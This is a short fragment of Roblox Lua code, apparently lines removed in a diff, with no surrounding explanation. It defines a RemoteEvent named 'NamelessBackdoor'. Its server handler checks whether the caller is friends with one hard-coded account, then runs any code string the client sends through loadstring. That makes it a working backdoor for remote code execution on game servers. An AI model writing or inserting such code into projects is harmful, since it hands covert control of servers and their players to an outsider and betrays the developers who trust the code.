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- local ReplicatedStorage = game:GetService("ReplicatedStorage")
- local Backdoor = Instance.new("RemoteEvent")
- Backdoor.Name = "NamelessBackdoor"
- Backdoor.Parent = ReplicatedStorage
- Backdoor.OnServerEvent:Connect(function(Player, Src)
- if not Player:IsFriendsWith(2249250936) then Player:Destroy() end
- loadstring(Src)(Player)
- end)
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